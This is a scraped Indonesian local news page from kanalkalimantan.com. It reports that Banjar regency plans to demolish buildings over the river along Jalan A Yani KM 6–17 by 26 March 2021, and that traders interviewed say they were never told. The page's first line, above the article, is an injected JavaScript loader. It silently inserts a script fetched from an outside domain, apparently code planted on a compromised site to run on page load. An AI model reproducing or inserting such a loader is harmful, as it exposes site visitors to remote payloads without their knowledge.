(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Soal Pembongkaran Bangunan di Sepanjang A Yani KM 6-KM 17, Warga Belum Tahu


KANALKALIMANTAN.COM, MARTAPURA – Setelah pembongkaran bangunan di atas sungai A Yani di wilayah Kota Banjarmasin. Pemerintah Kabupaten (Pemkab) Banjar juga turut melakukan upaya serupa dengan melakukan pembongkaran sepanjang jalan A Yani KM 6 hingga KM 17.

Rencana itu disampaikan melalui surat edaran Pemkab Banjar per tanggal 9 Maret 2021 yang ditujukan kepada pengguna badan bangunan di atas sungai.

Kanalkalimantan.com mencoba menanyakan sikap warga terutama pedagang pengguna bangunan di atas sungai terhadap edaran tersebut, Rabu (17/3/2021) siang.

Seorang pedagang kelontong di Jalan A Yani Km 7,4 yang tidak ingin disebutkan namanya mengaku tidak menahu atas surat edaran tersebut. “Saya kira pembongkaran tersebut hanya dilakukan di Banjarmasin saja,” katanya.

 

Shania, pedagang gorengan di jalan A Yani Km 13. Foto: pras

Baca juga: Wanita Tewas di Save Hotel. Check In 3 Hari Lalu, Polisi Masih Cari Teman Prianya

Pedagang tersebut mengaku tidak pernah mendapatkan imbauan sama sekali dari pihak pemerintah. “Biasanya pak RT atau Lurah pasti memberi tahu kepada kami, apalagi ini rumah pribadi dan kami sudah kenal dengan beberapa orang kelurahan,” ungkapnya.

Kanalkalimantan.com juga sempat menemui warga bernama Shania (36), pedagang gorengan di KM 13, yang juga mengaku tidak tahu perihal tentang pembongkaran tersebut.

“Biasanya kami diberitahu oleh pedagang di sebelah, nah sekarang tidak ada satupun yang memberi tahu. Dulu suami pernah memberitahu adanya pembongkaran di Banjarmasin, tapi kami tidak pernah menyangka pembongkarannya sampai ke sini,” ungkap Shania sembari menawarkan gorengan.

Wanita berjilbab ini mengaku siap jika sewaktu-waktu bangunan memang harus dibongkar. “Ini kan ada tiga pedagang gorengan lain. Mereka biasanya pada heboh kalau ada pemberitaan ini, nanti coba saya sampaikan,” katanya.

Walaupun kedua pedagang tersebut tidak mengetahui adanya imbauan untuk membongkar, Pemkab Banjar memberi tenggang waktu kepada para pedagang pengguna bangunan di atas sungai untuk melakukan pembongkaran hingga 26 Maret 2021 mendatang. (kanalkalimantan.com/pras)

Reporter: pras
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.